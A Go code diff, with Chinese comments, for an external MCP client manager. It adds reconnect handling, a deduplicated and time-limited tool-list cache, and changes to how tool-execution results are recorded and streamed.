stopRefresh chan struct{} // 停止后台刷新的信号
|
||||||
refreshWg sync.WaitGroup // 等待后台刷新goroutine完成
|
refreshWg sync.WaitGroup // 等待后台刷新goroutine完成
|
||||||
refreshing atomic.Bool // 防止 refreshToolCounts 并发堆积
|
refreshing atomic.Bool // 防止 refreshToolCounts 并发堆积
|
||||||
mu sync.RWMutex
|
mu sync.RWMutex
|
||||||
runningCancels map[string]context.CancelFunc
|
runningCancels map[string]context.CancelFunc
|
||||||
abortUserNotes map[string]string
|
abortUserNotes map[string]string
|
||||||
|
reconnectMu sync.Mutex
|
||||||
|
reconnecting map[string]bool
|
||||||
|
reconnectLastTry map[string]time.Time
|
||||||
|
reconnectAttempts map[string]int
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewExternalMCPManager 创建外部MCP管理器
|
// NewExternalMCPManager 创建外部MCP管理器
|
||||||
@@ -51,11 +77,15 @@ func NewExternalMCPManagerWithStorage(logger *zap.Logger, storage MonitorStorage
|
|||||||
executions: make(map[string]*ToolExecution),
|
executions: make(map[string]*ToolExecution),
|
||||||
stats: make(map[string]*ToolStats),
|
stats: make(map[string]*ToolStats),
|
||||||
errors: make(map[string]string),
|
errors: make(map[string]string),
|
||||||
toolCounts: make(map[string]int),
|
toolCounts: make(map[string]int),
|
||||||
toolCache: make(map[string][]Tool),
|
toolCache: make(map[string]toolListCacheEntry),
|
||||||
stopRefresh: make(chan struct{}),
|
listToolsInflight: make(map[string]*listToolsInflight),
|
||||||
runningCancels: make(map[string]context.CancelFunc),
|
stopRefresh: make(chan struct{}),
|
||||||
abortUserNotes: make(map[string]string),
|
runningCancels: make(map[string]context.CancelFunc),
|
||||||
|
abortUserNotes: make(map[string]string),
|
||||||
|
reconnecting: make(map[string]bool),
|
||||||
|
reconnectLastTry: make(map[string]time.Time),
|
||||||
|
reconnectAttempts: make(map[string]int),
|
||||||
}
|
}
|
||||||
// 启动后台刷新工具数量的goroutine
|
// 启动后台刷新工具数量的goroutine
|
||||||
manager.startToolCountRefresh()
|
manager.startToolCountRefresh()
|
||||||
@@ -122,6 +152,7 @@ func (m *ExternalMCPManager) RemoveConfig(name string) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
delete(m.configs, name)
|
delete(m.configs, name)
|
||||||
|
m.clearReconnectState(name)
|
||||||
|
|
||||||
// 清理工具数量缓存
|
// 清理工具数量缓存
|
||||||
m.toolCountsMu.Lock()
|
m.toolCountsMu.Lock()
|
||||||
@@ -136,8 +167,13 @@ func (m *ExternalMCPManager) RemoveConfig(name string) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// StartClient 启动客户端
|
// StartClient 启动客户端(用户手动启动;连接失败不自动重试)
|
||||||
func (m *ExternalMCPManager) StartClient(name string) error {
|
func (m *ExternalMCPManager) StartClient(name string) error {
|
||||||
|
return m.startClient(name, false)
|
||||||
|
}
|
||||||
|
|
||||||
|
// startClient 启动客户端。autoReconnect 为 true 时用于断连自愈:尊重停用状态,失败后按退避继续重试。
|
||||||
|
func (m *ExternalMCPManager) startClient(name string, autoReconnect bool) error {
|
||||||
m.mu.Lock()
|
m.mu.Lock()
|
||||||
serverCfg, exists := m.configs[name]
|
serverCfg, exists := m.configs[name]
|
||||||
m.mu.Unlock()
|
m.mu.Unlock()
|
||||||
@@ -146,6 +182,10 @@ func (m *ExternalMCPManager) StartClient(name string) error {
|
|||||||
return fmt.Errorf("配置不存在: %s", name)
|
return fmt.Errorf("配置不存在: %s", name)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if autoReconnect && !m.isEnabled(serverCfg) {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
// 检查是否已经有连接的客户端
|
// 检查是否已经有连接的客户端
|
||||||
m.mu.RLock()
|
m.mu.RLock()
|
||||||
existingClient, hasClient := m.clients[name]
|
existingClient, hasClient := m.clients[name]
|
||||||
@@ -155,11 +195,12 @@ func (m *ExternalMCPManager) StartClient(name string) error {
|
|||||||
// 检查客户端是否已连接
|
// 检查客户端是否已连接
|
||||||
if existingClient.IsConnected() {
|
if existingClient.IsConnected() {
|
||||||
// 客户端已连接,直接返回成功(目标状态已达成)
|
// 客户端已连接,直接返回成功(目标状态已达成)
|
||||||
// 更新配置为启用(确保配置一致)
|
if !autoReconnect {
|
||||||
m.mu.Lock()
|
m.mu.Lock()
|
||||||
serverCfg.ExternalMCPEnable = true
|
serverCfg.ExternalMCPEnable = true
|
||||||
m.configs[name] = serverCfg
|
m.configs[name] = serverCfg
|
||||||
m.mu.Unlock()
|
m.mu.Unlock()
|
||||||
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
// 如果有客户端但未连接,先关闭
|
// 如果有客户端但未连接,先关闭
|
||||||
@@ -169,6 +210,16 @@ func (m *ExternalMCPManager) StartClient(name string) error {
|
|||||||
m.mu.Unlock()
|
m.mu.Unlock()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if autoReconnect {
|
||||||
|
m.mu.RLock()
|
||||||
|
serverCfg, exists = m.configs[name]
|
||||||
|
enabled := exists && m.isEnabled(serverCfg)
|
||||||
|
m.mu.RUnlock()
|
||||||
|
if !enabled {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 更新配置为启用
|
// 更新配置为启用
|
||||||
m.mu.Lock()
|
m.mu.Lock()
|
||||||
serverCfg.ExternalMCPEnable = true
|
serverCfg.ExternalMCPEnable = true
|
||||||
@@ -192,10 +243,11 @@ func (m *ExternalMCPManager) StartClient(name string) error {
|
|||||||
m.mu.Unlock()
|
m.mu.Unlock()
|
||||||
|
|
||||||
// 在后台异步进行实际连接
|
// 在后台异步进行实际连接
|
||||||
go func() {
|
go func(reconnect bool) {
|
||||||
if err := m.doConnect(name, serverCfg, client); err != nil {
|
if err := m.doConnect(name, serverCfg, client); err != nil {
|
||||||
m.logger.Error("连接外部MCP客户端失败",
|
m.logger.Error("连接外部MCP客户端失败",
|
||||||
zap.String("name", name),
|
zap.String("name", name),
|
||||||
|
zap.Bool("auto_reconnect", reconnect),
|
||||||
zap.Error(err),
|
zap.Error(err),
|
||||||
)
|
)
|
||||||
// 连接失败,设置状态为error并保存错误信息
|
// 连接失败,设置状态为error并保存错误信息
|
||||||
@@ -205,22 +257,19 @@ func (m *ExternalMCPManager) StartClient(name string) error {
|
|||||||
m.mu.Unlock()
|
m.mu.Unlock()
|
||||||
// 触发工具数量刷新(连接失败,工具数量应为0)
|
// 触发工具数量刷新(连接失败,工具数量应为0)
|
||||||
m.triggerToolCountRefresh()
|
m.triggerToolCountRefresh()
|
||||||
|
if reconnect {
|
||||||
|
m.scheduleReconnectAfterFailure(name)
|
||||||
|
}
|
||||||
} else {
|
} else {
|
||||||
// 连接成功,清除错误信息
|
// 连接成功,清除错误信息
|
||||||
m.mu.Lock()
|
m.mu.Lock()
|
||||||
delete(m.errors, name)
|
delete(m.errors, name)
|
||||||
m.mu.Unlock()
|
m.mu.Unlock()
|
||||||
// 立即刷新工具数量和工具列表缓存
|
m.onClientConnected(name)
|
||||||
m.triggerToolCountRefresh()
|
// 异步拉取工具列表(singleflight 去重,结果同时写入 toolCache 与 toolCounts)
|
||||||
m.refreshToolCache(name, client)
|
go m.refreshToolCache(name, client)
|
||||||
// 2 秒后再刷新一次,覆盖 SSE/Streamable 等需稍等就绪的远端
|
|
||||||
go func() {
|
|
||||||
time.Sleep(2 * time.Second)
|
|
||||||
m.triggerToolCountRefresh()
|
|
||||||
m.refreshToolCache(name, client)
|
|
||||||
}()
|
|
||||||
}
|
}
|
||||||
}()
|
}(autoReconnect)
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -249,10 +298,16 @@ func (m *ExternalMCPManager) StopClient(name string) error {
|
|||||||
m.toolCounts[name] = 0
|
m.toolCounts[name] = 0
|
||||||
m.toolCountsMu.Unlock()
|
m.toolCountsMu.Unlock()
|
||||||
|
|
||||||
|
m.toolCacheMu.Lock()
|
||||||
|
delete(m.toolCache, name)
|
||||||
|
m.toolCacheMu.Unlock()
|
||||||
|
|
||||||
// 更新配置为禁用
|
// 更新配置为禁用
|
||||||
serverCfg.ExternalMCPEnable = false
|
serverCfg.ExternalMCPEnable = false
|
||||||
m.configs[name] = serverCfg
|
m.configs[name] = serverCfg
|
||||||
|
|
||||||
|
m.clearReconnectState(name)
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -335,16 +390,19 @@ func (m *ExternalMCPManager) getToolsForClient(name string, client ExternalMCPCl
|
|||||||
return nil, fmt.Errorf("外部MCP连接失败: %s", name)
|
return nil, fmt.Errorf("外部MCP连接失败: %s", name)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 已连接:尝试获取最新工具列表
|
// 已连接:缓存优先,仅在缺失或过期时打远程 ListTools
|
||||||
if client.IsConnected() {
|
if client.IsConnected() {
|
||||||
tools, err := client.ListTools(ctx)
|
if tools, ok := m.getFreshCachedTools(name); ok {
|
||||||
|
return tools, nil
|
||||||
|
}
|
||||||
|
if tools, ok := m.getAnyCachedTools(name); ok {
|
||||||
|
m.triggerToolListRefresh(name, client)
|
||||||
|
return tools, nil
|
||||||
|
}
|
||||||
|
tools, err := m.listToolsDeduped(ctx, name, client)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
// 获取失败,尝试使用缓存
|
|
||||||
return m.getCachedTools(name, "连接正常但获取失败", err)
|
return m.getCachedTools(name, "连接正常但获取失败", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取成功,更新缓存
|
|
||||||
m.updateToolCache(name, tools)
|
|
||||||
return tools, nil
|
return tools, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -361,37 +419,127 @@ func (m *ExternalMCPManager) getToolsForClient(name string, client ExternalMCPCl
|
|||||||
return nil, fmt.Errorf("外部MCP状态未知: %s (状态: %s)", name, status)
|
return nil, fmt.Errorf("外部MCP状态未知: %s (状态: %s)", name, status)
|
||||||
}
|
}
|
||||||
|
|
||||||
// getCachedTools 获取缓存的工具列表
|
// getCachedTools 获取缓存的工具列表(含空列表缓存)
|
||||||
func (m *ExternalMCPManager) getCachedTools(name, reason string, originalErr error) ([]Tool, error) {
|
func (m *ExternalMCPManager) getCachedTools(name, reason string, originalErr error) ([]Tool, error) {
|
||||||
m.toolCacheMu.RLock()
|
if tools, ok := m.getAnyCachedTools(name); ok {
|
||||||
cachedTools, hasCache := m.toolCache[name]
|
|
||||||
m.toolCacheMu.RUnlock()
|
|
||||||
|
|
||||||
if hasCache && len(cachedTools) > 0 {
|
|
||||||
m.logger.Debug("使用缓存的工具列表",
|
m.logger.Debug("使用缓存的工具列表",
|
||||||
zap.String("name", name),
|
zap.String("name", name),
|
||||||
zap.String("reason", reason),
|
zap.String("reason", reason),
|
||||||
zap.Int("count", len(cachedTools)),
|
zap.Int("count", len(tools)),
|
||||||
zap.Error(originalErr),
|
zap.Error(originalErr),
|
||||||
)
|
)
|
||||||
return cachedTools, nil
|
return tools, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// 无缓存,返回错误
|
|
||||||
if originalErr != nil {
|
if originalErr != nil {
|
||||||
return nil, fmt.Errorf("获取外部MCP工具失败且无缓存: %w", originalErr)
|
return nil, fmt.Errorf("获取外部MCP工具失败且无缓存: %w", originalErr)
|
||||||
}
|
}
|
||||||
return nil, fmt.Errorf("外部MCP无缓存工具: %s", name)
|
return nil, fmt.Errorf("外部MCP无缓存工具: %s", name)
|
||||||
}
|
}
|
||||||
|
|
||||||
// updateToolCache 更新工具列表缓存
|
func (m *ExternalMCPManager) isToolCacheFresh(updatedAt time.Time) bool {
|
||||||
func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
|
return !updatedAt.IsZero() && time.Since(updatedAt) < externalToolListCacheTTL
|
||||||
|
}
|
||||||
|
|
||||||
|
func cloneTools(tools []Tool) []Tool {
|
||||||
|
if len(tools) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
out := make([]Tool, len(tools))
|
||||||
|
copy(out, tools)
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) getFreshCachedTools(name string) ([]Tool, bool) {
|
||||||
|
m.toolCacheMu.RLock()
|
||||||
|
entry, ok := m.toolCache[name]
|
||||||
|
m.toolCacheMu.RUnlock()
|
||||||
|
if !ok || !m.isToolCacheFresh(entry.updatedAt) {
|
||||||
|
return nil, false
|
||||||
|
}
|
||||||
|
return cloneTools(entry.tools), true
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) getAnyCachedTools(name string) ([]Tool, bool) {
|
||||||
|
m.toolCacheMu.RLock()
|
||||||
|
entry, ok := m.toolCache[name]
|
||||||
|
m.toolCacheMu.RUnlock()
|
||||||
|
if !ok {
|
||||||
|
return nil, false
|
||||||
|
}
|
||||||
|
return cloneTools(entry.tools), true
|
||||||
|
}
|
||||||
|
|
||||||
|
// listToolsDeduped 对同一 MCP 合并并发 ListTools,并更新 toolCache / toolCounts。
|
||||||
|
func (m *ExternalMCPManager) listToolsDeduped(ctx context.Context, name string, client ExternalMCPClient) ([]Tool, error) {
|
||||||
|
m.listToolsMu.Lock()
|
||||||
|
if inflight, exists := m.listToolsInflight[name]; exists {
|
||||||
|
m.listToolsMu.Unlock()
|
||||||
|
select {
|
||||||
|
case <-inflight.done:
|
||||||
|
if inflight.err != nil {
|
||||||
|
return nil, inflight.err
|
||||||
|
}
|
||||||
|
return cloneTools(inflight.tools), nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
return nil, ctx.Err()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
inflight := &listToolsInflight{done: make(chan struct{})}
|
||||||
|
m.listToolsInflight[name] = inflight
|
||||||
|
m.listToolsMu.Unlock()
|
||||||
|
|
||||||
|
inflight.tools, inflight.err = client.ListTools(ctx)
|
||||||
|
if inflight.err == nil {
|
||||||
|
m.updateToolCache(name, inflight.tools)
|
||||||
|
}
|
||||||
|
|
||||||
|
m.listToolsMu.Lock()
|
||||||
|
delete(m.listToolsInflight, name)
|
||||||
|
close(inflight.done)
|
||||||
|
m.listToolsMu.Unlock()
|
||||||
|
|
||||||
|
if inflight.err != nil {
|
||||||
|
m.handleConnectionDead(name, client, inflight.err)
|
||||||
|
return nil, inflight.err
|
||||||
|
}
|
||||||
|
return cloneTools(inflight.tools), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// InvalidateToolCache 清除指定外部 MCP 的工具列表缓存(手动刷新时使用)
|
||||||
|
func (m *ExternalMCPManager) InvalidateToolCache(name string) {
|
||||||
m.toolCacheMu.Lock()
|
m.toolCacheMu.Lock()
|
||||||
m.toolCache[name] = tools
|
delete(m.toolCache, name)
|
||||||
|
m.toolCacheMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
// InvalidateAllToolCaches 清除所有外部 MCP 工具列表缓存
|
||||||
|
func (m *ExternalMCPManager) InvalidateAllToolCaches() {
|
||||||
|
m.toolCacheMu.Lock()
|
||||||
|
m.toolCache = make(map[string]toolListCacheEntry)
|
||||||
|
m.toolCacheMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) triggerToolListRefresh(name string, client ExternalMCPClient) {
|
||||||
|
go func() {
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
_, _ = m.listToolsDeduped(ctx, name, client)
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// updateToolCache 更新工具列表缓存与工具数量
|
||||||
|
func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
|
||||||
|
stored := cloneTools(tools)
|
||||||
|
m.toolCacheMu.Lock()
|
||||||
|
m.toolCache[name] = toolListCacheEntry{tools: stored, updatedAt: time.Now()}
|
||||||
m.toolCacheMu.Unlock()
|
m.toolCacheMu.Unlock()
|
||||||
|
|
||||||
// 如果返回空列表,记录警告
|
m.toolCountsMu.Lock()
|
||||||
if len(tools) == 0 {
|
m.toolCounts[name] = len(stored)
|
||||||
|
m.toolCountsMu.Unlock()
|
||||||
|
|
||||||
|
if len(stored) == 0 {
|
||||||
m.logger.Warn("外部MCP返回空工具列表",
|
m.logger.Warn("外部MCP返回空工具列表",
|
||||||
zap.String("name", name),
|
zap.String("name", name),
|
||||||
zap.String("hint", "服务可能暂时不可用,工具列表为空"),
|
zap.String("hint", "服务可能暂时不可用,工具列表为空"),
|
||||||
@@ -399,7 +547,7 @@ func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
|
|||||||
} else {
|
} else {
|
||||||
m.logger.Debug("工具列表缓存已更新",
|
m.logger.Debug("工具列表缓存已更新",
|
||||||
zap.String("name", name),
|
zap.String("name", name),
|
||||||
zap.Int("count", len(tools)),
|
zap.Int("count", len(stored)),
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -467,6 +615,9 @@ func (m *ExternalMCPManager) CallTool(ctx context.Context, toolName string, args
|
|||||||
|
|
||||||
// 调用工具
|
// 调用工具
|
||||||
result, err := client.CallTool(execCtx, actualToolName, args)
|
result, err := client.CallTool(execCtx, actualToolName, args)
|
||||||
|
if err != nil {
|
||||||
|
m.handleConnectionDead(mcpName, client, err)
|
||||||
|
}
|
||||||
cancelledWithUserNote := m.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err)
|
cancelledWithUserNote := m.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err)
|
||||||
|
|
||||||
// 更新执行记录
|
// 更新执行记录
|
||||||
@@ -854,28 +1005,27 @@ func (m *ExternalMCPManager) refreshToolCounts() {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// 使用合理的超时时间(15秒),既能应对网络延迟,又不会过长阻塞
|
// 缓存仍新鲜时直接复用,避免与 GetAllTools 重复打远程
|
||||||
// 由于这是后台异步刷新,超时不会影响前端响应
|
if _, fresh := m.getFreshCachedTools(n); fresh {
|
||||||
|
m.toolCountsMu.RLock()
|
||||||
|
count := m.toolCounts[n]
|
||||||
|
m.toolCountsMu.RUnlock()
|
||||||
|
resultChan <- countResult{name: n, count: count}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
|
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
|
||||||
tools, err := c.ListTools(ctx)
|
tools, err := m.listToolsDeduped(ctx, n, c)
|
||||||
cancel()
|
cancel()
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
errStr := err.Error()
|
if !isConnectionDeadError(err) {
|
||||||
// SSE 连接 EOF:远端可能关闭了流或未按规范在流上推送响应,仅首次用 Warn 提示
|
|
||||||
if strings.Contains(errStr, "EOF") || strings.Contains(errStr, "client is closing") {
|
|
||||||
m.logger.Warn("获取外部MCP工具数量失败(SSE 流已关闭或服务端未在流上返回 tools/list 响应)",
|
|
||||||
zap.String("name", n),
|
|
||||||
zap.String("hint", "若为 SSE 连接,请确认服务端保持 GET 流打开并按 MCP 规范以 event: message 推送 JSON-RPC 响应"),
|
|
||||||
zap.Error(err),
|
|
||||||
)
|
|
||||||
} else {
|
|
||||||
m.logger.Warn("获取外部MCP工具数量失败,请检查连接或服务端 tools/list",
|
m.logger.Warn("获取外部MCP工具数量失败,请检查连接或服务端 tools/list",
|
||||||
zap.String("name", n),
|
zap.String("name", n),
|
||||||
zap.Error(err),
|
zap.Error(err),
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
resultChan <- countResult{name: n, count: -1} // -1 表示使用旧值
|
resultChan <- countResult{name: n, count: -1}
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -925,33 +1075,21 @@ func (m *ExternalMCPManager) refreshToolCache(name string, client ExternalMCPCli
|
|||||||
if !client.IsConnected() {
|
if !client.IsConnected() {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
if client.GetStatus() == "error" {
|
||||||
// 检查状态,如果是error状态,不更新缓存
|
|
||||||
status := client.GetStatus()
|
|
||||||
if status == "error" {
|
|
||||||
m.logger.Debug("跳过刷新工具列表缓存(连接失败)",
|
m.logger.Debug("跳过刷新工具列表缓存(连接失败)",
|
||||||
zap.String("name", name),
|
zap.String("name", name),
|
||||||
zap.String("status", status),
|
|
||||||
)
|
)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// 使用较短的超时时间(5秒)
|
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
|
||||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
if _, err := m.listToolsDeduped(ctx, name, client); err != nil {
|
||||||
tools, err := client.ListTools(ctx)
|
|
||||||
if err != nil {
|
|
||||||
m.logger.Debug("刷新工具列表缓存失败",
|
m.logger.Debug("刷新工具列表缓存失败",
|
||||||
zap.String("name", name),
|
zap.String("name", name),
|
||||||
zap.Error(err),
|
zap.Error(err),
|
||||||
)
|
)
|
||||||
// 刷新失败时不更新缓存,保留旧缓存(如果有)
|
|
||||||
return
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 使用统一的缓存更新方法
|
|
||||||
m.updateToolCache(name, tools)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// startToolCountRefresh 启动后台刷新工具数量的goroutine
|
// startToolCountRefresh 启动后台刷新工具数量的goroutine
|
||||||
@@ -959,7 +1097,7 @@ func (m *ExternalMCPManager) startToolCountRefresh() {
|
|||||||
m.refreshWg.Add(1)
|
m.refreshWg.Add(1)
|
||||||
go func() {
|
go func() {
|
||||||
defer m.refreshWg.Done()
|
defer m.refreshWg.Done()
|
||||||
ticker := time.NewTicker(10 * time.Second) // 每10秒刷新一次
|
ticker := time.NewTicker(externalToolCountRefreshInterval)
|
||||||
defer ticker.Stop()
|
defer ticker.Stop()
|
||||||
|
|
||||||
// 立即执行一次刷新
|
// 立即执行一次刷新
|
||||||
@@ -1075,6 +1213,8 @@ func (m *ExternalMCPManager) connectClient(name string, serverCfg config.Externa
|
|||||||
zap.String("name", name),
|
zap.String("name", name),
|
||||||
)
|
)
|
||||||
|
|
||||||
|
m.onClientConnected(name)
|
||||||
|
|
||||||
// 连接成功,触发工具数量刷新和工具列表缓存刷新
|
// 连接成功,触发工具数量刷新和工具列表缓存刷新
|
||||||
m.triggerToolCountRefresh()
|
m.triggerToolCountRefresh()
|
||||||
m.mu.RLock()
|
m.mu.RLock()
|
||||||
@@ -1159,6 +1299,7 @@ func (m *ExternalMCPManager) StopAll() {
|
|||||||
for name, client := range m.clients {
|
for name, client := range m.clients {
|
||||||
client.Close()
|
client.Close()
|
||||||
delete(m.clients, name)
|
delete(m.clients, name)
|
||||||
|
m.clearReconnectState(name)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 清理所有工具数量缓存
|
// 清理所有工具数量缓存
|
||||||
@@ -1168,7 +1309,7 @@ func (m *ExternalMCPManager) StopAll() {
|
|||||||
|
|
||||||
// 清理所有工具列表缓存
|
// 清理所有工具列表缓存
|
||||||
m.toolCacheMu.Lock()
|
m.toolCacheMu.Lock()
|
||||||
m.toolCache = make(map[string][]Tool)
|
m.toolCache = make(map[string]toolListCacheEntry)
|
||||||
m.toolCacheMu.Unlock()
|
m.toolCacheMu.Unlock()
|
||||||
|
|
||||||
// 停止后台刷新(使用 select 避免重复关闭 channel)
|
// 停止后台刷新(使用 select 避免重复关闭 channel)
|
||||||
|
|||||||
@@ -21,6 +21,7 @@ import (
|
|||||||
// MonitorStorage 监控数据存储接口
|
// MonitorStorage 监控数据存储接口
|
||||||
type MonitorStorage interface {
|
type MonitorStorage interface {
|
||||||
SaveToolExecution(exec *ToolExecution) error
|
SaveToolExecution(exec *ToolExecution) error
|
||||||
|
UpdateToolExecutionResult(id string, result *ToolResult) error
|
||||||
LoadToolExecutions() ([]*ToolExecution, error)
|
LoadToolExecutions() ([]*ToolExecution, error)
|
||||||
GetToolExecution(id string) (*ToolExecution, error)
|
GetToolExecution(id string) (*ToolExecution, error)
|
||||||
SaveToolStats(toolName string, stats *ToolStats) error
|
SaveToolStats(toolName string, stats *ToolStats) error
|
||||||
@@ -963,6 +964,26 @@ func (s *Server) RecordCompletedToolInvocation(toolName string, args map[string]
|
|||||||
return executionID
|
return executionID
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// UpdateToolExecutionResult 将监控库中的工具结果更新为送入模型的展示正文(如 reduction 后的 persisted-output)。
|
||||||
|
func (s *Server) UpdateToolExecutionResult(executionID string, result *ToolResult) error {
|
||||||
|
if s == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
executionID = strings.TrimSpace(executionID)
|
||||||
|
if executionID == "" || result == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
s.mu.Lock()
|
||||||
|
if exec, ok := s.executions[executionID]; ok && exec != nil {
|
||||||
|
exec.Result = result
|
||||||
|
}
|
||||||
|
s.mu.Unlock()
|
||||||
|
if s.storage != nil {
|
||||||
|
return s.storage.UpdateToolExecutionResult(executionID, result)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
// cleanupOldExecutions 清理旧的执行记录,防止内存无限增长
|
// cleanupOldExecutions 清理旧的执行记录,防止内存无限增长
|
||||||
func (s *Server) cleanupOldExecutions() {
|
func (s *Server) cleanupOldExecutions() {
|
||||||
if len(s.executions) <= s.maxExecutionsInMemory {
|
if len(s.executions) <= s.maxExecutionsInMemory {
|
||||||
|
|||||||
@@ -88,6 +88,7 @@ type einoADKRunLoopArgs struct {
|
|||||||
// 在完成时写入 MCP 监控;execute 仍由 eino_execute_monitor 记录,此处跳过。
|
// 在完成时写入 MCP 监控;execute 仍由 eino_execute_monitor 记录,此处跳过。
|
||||||
FilesystemMonitorAgent *agent.Agent
|
FilesystemMonitorAgent *agent.Agent
|
||||||
FilesystemMonitorRecord einomcp.ExecutionRecorder
|
FilesystemMonitorRecord einomcp.ExecutionRecorder
|
||||||
|
MCPExecutionBinder *MCPExecutionBinder
|
||||||
|
|
||||||
// ToolInvokeNotify 与 einomcp.ToolsFromDefinitions 共享:run loop 在迭代前 Set,MCP 桥 Fire 以补全 tool_result。
|
// ToolInvokeNotify 与 einomcp.ToolsFromDefinitions 共享:run loop 在迭代前 Set,MCP 桥 Fire 以补全 tool_result。
|
||||||
ToolInvokeNotify *einomcp.ToolInvokeNotifyHolder
|
ToolInvokeNotify *einomcp.ToolInvokeNotifyHolder
|
||||||
@@ -285,53 +286,63 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
|||||||
executeStdoutDupMu.Unlock()
|
executeStdoutDupMu.Unlock()
|
||||||
}
|
}
|
||||||
|
|
||||||
var toolResultSent sync.Map // toolCallID -> struct{};与 ADK Tool 消息去重,避免 bridge 与事件流各推一次
|
var toolResultSent sync.Map // toolCallID -> struct{};ADK Tool 事件去重(权威正文来自 reduction 处理后的 agent 上下文)
|
||||||
if args.ToolInvokeNotify != nil {
|
tryEmitToolResultProgress := func(toolName, content, toolCallID string, isErr bool, agentName string) {
|
||||||
args.ToolInvokeNotify.Set(func(toolCallID, toolName, einoAgent string, success bool, content string, invokeErr error) {
|
if progress == nil {
|
||||||
tid := strings.TrimSpace(toolCallID)
|
return
|
||||||
removePendingByID(tid)
|
}
|
||||||
if tid == "" || progress == nil {
|
toolName = strings.TrimSpace(toolName)
|
||||||
return
|
if toolName == "" {
|
||||||
|
toolName = "unknown"
|
||||||
|
}
|
||||||
|
preview := content
|
||||||
|
if len(preview) > 200 {
|
||||||
|
preview = preview[:200] + "..."
|
||||||
|
}
|
||||||
|
data := map[string]interface{}{
|
||||||
|
"toolName": toolName,
|
||||||
|
"success": !isErr,
|
||||||
|
"isError": isErr,
|
||||||
|
"result": content,
|
||||||
|
"resultPreview": preview,
|
||||||
|
"conversationId": conversationID,
|
||||||
|
"einoAgent": agentName,
|
||||||
|
"einoRole": einoRoleTag(agentName),
|
||||||
|
"source": "eino",
|
||||||
|
}
|
||||||
|
tid := strings.TrimSpace(toolCallID)
|
||||||
|
if tid == "" {
|
||||||
|
if inferred, ok := popNextPendingForAgent(agentName); ok {
|
||||||
|
tid = inferred.ToolCallID
|
||||||
|
} else if inferred, ok := popNextPendingForAgent(orchestratorName); ok {
|
||||||
|
tid = inferred.ToolCallID
|
||||||
|
} else if inferred, ok := popNextPendingForAgent(""); ok {
|
||||||
|
tid = inferred.ToolCallID
|
||||||
|
} else if inferred, ok := popAnyPending(); ok {
|
||||||
|
tid = inferred.ToolCallID
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
if tid != "" {
|
||||||
|
removePendingByID(tid)
|
||||||
if _, loaded := toolResultSent.LoadOrStore(tid, struct{}{}); loaded {
|
if _, loaded := toolResultSent.LoadOrStore(tid, struct{}{}); loaded {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
isErr := !success || invokeErr != nil
|
data["toolCallId"] = tid
|
||||||
body := content
|
toolCallID = tid
|
||||||
if invokeErr != nil {
|
}
|
||||||
// 保留已流式累计的 stdout(如 execute 超时前的一半输出),避免 tool_result 只剩错误串、模型与 UI 丢失上下文
|
recordPendingExecuteStdoutDup(toolName, content, isErr)
|
||||||
tail := friendlyEinoExecuteInvokeTail(invokeErr)
|
recordEinoADKFilesystemToolMonitor(args.FilesystemMonitorAgent, args.FilesystemMonitorRecord, toolName, toolCallID, runAccumulatedMsgs, content, isErr)
|
||||||
